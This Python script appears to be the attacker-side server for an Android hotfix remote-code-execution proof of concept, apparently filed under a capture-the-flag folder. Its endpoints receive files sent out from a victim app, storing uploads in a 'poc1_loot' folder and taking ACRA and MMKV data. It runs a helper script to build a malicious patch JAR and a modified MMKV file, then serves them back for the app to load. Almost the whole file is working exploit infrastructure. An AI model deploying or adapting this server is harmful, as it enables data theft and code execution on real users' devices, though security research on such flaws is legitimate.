#!/usr/bin/env python3
import json
import os
import re
import shutil
import subprocess
import threading
import time
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import urlparse, parse_qs

ROOT = '/tmp/vivo_server'
UPDIR = os.path.join(ROOT, 'uploads')
ADAPT = os.path.join(ROOT, 'adapt')
READY = os.path.join(ROOT, 'ready')
LOG = os.path.join(ROOT, 'launchd_http.log')
POC = '/Users/lisi18/Desktop/CTF-Qnuar/android_crack/poc/hotfix_rce'
PATCH_JAR = os.path.join(POC, 'visible_variant', 'patch_zip_visible.jar')
HEN_FULL_MIN = 2000000  # fallback for files whose MMKV header is unreadable
HEN_HEADER_MIN = 100000   # sanity floor for a believable MMKV actualSize


def split_multipart(data):
    """Return (multipart_body, mmkv_actual_size).

    uploadImage.v1 sends a single-file multipart form.  We deliberately do not
    split on every CRLF-- sequence inside the binary body; instead we parse the
    real boundary and only strip the closing delimiter when it is present.
    """
    sep = re.search(rb'\r\n\r\n|\n\n', data)
    if not sep:
        return data, 0
    body = data[sep.end():]
    head = data[:sep.start()]
    bm = re.search(rb'boundary="?([^";\r\n]+)"?', head, re.I)
    if bm:
        boundary = bm.group(1)
        closing = b'\r\n--' + boundary + b'--'
        if body.endswith(closing):
            body = body[:-len(closing)]
        elif body.endswith(closing + b'\r\n'):
            body = body[:-(len(closing) + 2)]
    actual = 0
    if len(body) >= 4:
        actual = int.from_bytes(body[:4], 'little')
    return body, actual

for d in (UPDIR, ADAPT, READY):
    os.makedirs(d, exist_ok=True)

PNG = bytes.fromhex(
    '89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c489'
    '0000000d49444154789c63f8cfc0f01f00050502808f9f1d8f0000000049454e44ae426082'
)
_lock_global = threading.Lock()
_sid_locks = {}


def log(msg):
    try:
        with open(LOG, 'a') as f:
            f.write(msg + '\n')
    except Exception:
        pass


def sid_lock(sid):
    with _lock_global:
        return _sid_locks.setdefault(sid, threading.Lock())


def send_json(h, code, obj):
    b = json.dumps(obj, ensure_ascii=False).encode()
    h.send_response(code)
    h.send_header('Content-Type', 'application/json; charset=utf-8')
    h.send_header('Content-Length', str(len(b)))
    h.end_headers()
    try:
        h.wfile.write(b)
    except Exception:
        pass


class H(SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=ROOT, **kw)

    def log_message(self, fmt, *args):
        log(self.address_string() + ' - - [' + self.log_date_time_string() + '] ' + fmt % args)

    def do_GET(self):
        u = urlparse(self.path)
        q = parse_qs(u.query)
        if u.path.startswith('/adapt') and u.path.endswith('.html'):
            rel = u.path.lstrip('/')
            fp = os.path.join(ROOT, os.path.basename(rel))
            if os.path.isfile(fp):
                data = open(fp, 'rb').read()
                self.send_response(200)
                self.send_header('Content-Type', 'text/html; charset=utf-8')
                self.send_header('Cache-Control', 'no-store, max-age=0')
                self.send_header('Content-Length', str(len(data)))
                self.end_headers()
                try:
                    self.wfile.write(data)
                except Exception:
                    pass
                return
        if u.path == '/adapt_ready':
            sid = q.get('sid', [''])[0]
            if sid and os.path.exists(os.path.join(READY, sid)):
                self.send_response(200)
                self.send_header('Content-Type', 'image/png')
                self.send_header('Access-Control-Allow-Origin', '*')
                self.send_header('Content-Length', str(len(PNG)))
                self.end_headers()
                try:
                    self.wfile.write(PNG)
                except Exception:
                    pass
            else:
                self.send_response(404)
                self.send_header('Content-Length', '0')
                self.end_headers()
            return
        if u.path == '/poc1/collect':
            self.send_response(200)
            self.send_header('Content-Type', 'image/png')
            self.send_header('Content-Length', str(len(PNG)))
            self.end_headers()
            try:
                self.wfile.write(PNG)
            except Exception:
                pass
            return
        if u.path == '/adapt_result':
            sid = q.get('sid', [''])[0]
            p = os.path.join(READY, sid + '.json')
            if sid and os.path.exists(p):
                self.send_response(200)
                self.send_header('Content-Type', 'application/json; charset=utf-8')
                self.send_header('Access-Control-Allow-Origin', '*')
                self.send_header('Content-Length', str(os.path.getsize(p)))
                self.end_headers()
                try:
                    self.wfile.write(open(p, 'rb').read())
                except Exception:
                    pass
            else:
                send_json(self, 404, {'ret': False, 'errmsg': 'not ready'})
            return
        return super().do_GET()

    def do_POST(self):
        try:
            u = urlparse(self.path)
            q = parse_qs(u.query)
            if u.path.startswith('/poc1/upload/'):
                from urllib.parse import unquote
                raw_name = unquote(u.path.rsplit('/', 1)[-1])
                name = os.path.basename(raw_name) or 'upload.bin'
                if name != raw_name or not name:
                    send_json(self, 400, {'ret': False, 'errmsg': 'bad name'})
                    return
                length = int(self.headers.get('Content-Length', '0'))
                data = self.rfile.read(length) if length else b''
                outdir = os.path.join(ROOT, 'poc1_loot')
                os.makedirs(outdir, exist_ok=True)
                with open(os.path.join(outdir, name), 'wb') as f:
                    f.write(data)
                log('POC1 UPLOAD name=%s bytes=%d orig=%s' % (name, len(data), q.get('orig', [''])[0]))
                send_json(self, 200, {'ret': True, 'data': {'size': len(data), 'name': name}})
                return
            if u.path == '/upload':
                length = int(self.headers.get('Content-Length', '0'))
                data = self.rfile.read(length) if length else b''
                fn = os.path.join(UPDIR, 'upload_%d.bin' % int(time.time() * 1000))
                with open(fn, 'wb') as f:
                    f.write(data)
                send_json(self, 200, {'ret': True, 'data': {'url': '/uploads/' + os.path.basename(fn), 'size': len(data)}})
                return

            if u.path == '/adapt':
                sid = q.get('sid', [''])[0]
                ftype = q.get('f', [''])[0]
                if not sid or ftype not in ('acra', 'hen'):
                    send_json(self, 400, {'ret': False, 'errmsg': 'bad adapt params'})
                    return
                length = int(self.headers.get('Content-Length', '0'))
                data = self.rfile.read(length) if length else b''
                sdir = os.path.join(ADAPT, sid)
                os.makedirs(sdir, exist_ok=True)
                fn = os.path.join(sdir, ftype + '.bin')
                acra = os.path.join(sdir, 'acra.bin')
                hen = os.path.join(sdir, 'hen.bin')

                new_body, new_actual = split_multipart(data)
                new_required = new_actual + 8 if new_actual >= HEN_HEADER_MIN else HEN_FULL_MIN
                new_complete = len(new_body) >= new_required and new_required > 0

                old_complete = False
                if ftype == 'hen' and os.path.exists(hen):
                    try:
                        old_raw = open(hen, 'rb').read()
                        old_body, old_actual = split_multipart(old_raw)
                        old_required = old_actual + 8 if old_actual >= HEN_HEADER_MIN else HEN_FULL_MIN
                        old_complete = len(old_body) >= old_required and old_required > 0
                    except Exception:
                        old_complete = False

                # Never replace a known-good full hen with a newer truncated upload.
                if ftype == 'hen' and old_complete and not new_complete:
                    log('ADAPT hen sid=%s bytes=%d kept-previous-complete required=%d' % (sid, len(data), new_required))
                else:
                    with open(fn, 'wb') as f:
                        f.write(data)
                    log('ADAPT %s sid=%s bytes=%d' % (ftype, sid, len(data)))
                if ftype == 'acra':
                    send_json(self, 200, {'ret': True, 'data': {'status': 'received', 'f': 'acra', 'size': len(data)}})
                    return

                # The physical MMKV file is preallocated to 2MB, but its logical
                # data only extends to the little-endian uint32 at bytes 0..3.
                # Once we have actualSize+8 bytes of the body, every live record
                # is present and OnErrorRecover rebuilds an exact compact copy.
                hen_complete = old_complete or new_complete
                required = new_required
                if not hen_complete:
                    send_json(self, 200, {'ret': True, 'data': {'status': 'received', 'f': 'hen', 'incomplete': True, 'size': len(data), 'required': required}})
                    return

                # Full hen present. Generate exactly once per sid; later re-uploads
                # wait for the same generation result instead of racing it.
                with sid_lock(sid):
                    ready = os.path.join(READY, sid)
                    if os.path.exists(ready):
                        send_json(self, 200, {'ret': True, 'data': {'status': 'ready', 'size': len(data), 'required': required}})
                        return
                    if not os.path.exists(acra):
                        send_json(self, 200, {'ret': True, 'data': {'status': 'received', 'f': 'hen', 'waiting': 'acra', 'size': len(data)}})
                        return

                    outdir = os.path.join(sdir, 'out')
                    cmd = ['/opt/homebrew/bin/python3', os.path.join(POC, 'adapt_payload.py'),
                           '--acra', acra, '--hen', hen,
                           '--patch-jar', PATCH_JAR, '--outdir', outdir]
                    r = subprocess.run(cmd, capture_output=True, text=True, cwd=POC, timeout=120)
                    log('ADAPT RUN sid=%s rc=%d out=%s err=%s' % (sid, r.returncode, r.stdout[-500:], r.stderr[-1000:]))
                    if r.returncode == 0 and os.path.exists(os.path.join(outdir, 'patch_zip.jar')):
                        for name in ('patch_zip.jar', 'hen_mod', 'hen_mod.crc'):
                            shutil.copy2(os.path.join(outdir, name), os.path.join(ROOT, name))
                        with open(ready, 'w') as f:
                            f.write(r.stdout)
                        result_src = os.path.join(outdir, 'result.json')
                        if os.path.exists(result_src):
                            shutil.copy2(result_src, ready + '.json')
                        send_json(self, 200, {'ret': True, 'data': {'status': 'ready', 'size': len(data), 'required': required}})
                    else:
                        send_json(self, 500, {'ret': False, 'errmsg': 'adapt failed: ' + (r.stderr[-300:] or r.stdout[-300:])})
                    return

            send_json(self, 404, {'ret': False, 'errmsg': 'not found'})
        except Exception as e:
            log('SERVER ERROR %s' % str(e))
            try:
                send_json(self, 500, {'ret': False, 'errmsg': str(e)})
            except Exception:
                pass


if __name__ == '__main__':
    srv = ThreadingHTTPServer(('0.0.0.0', 19000), H)
    print('server on 19000', flush=True)
    srv.serve_forever()
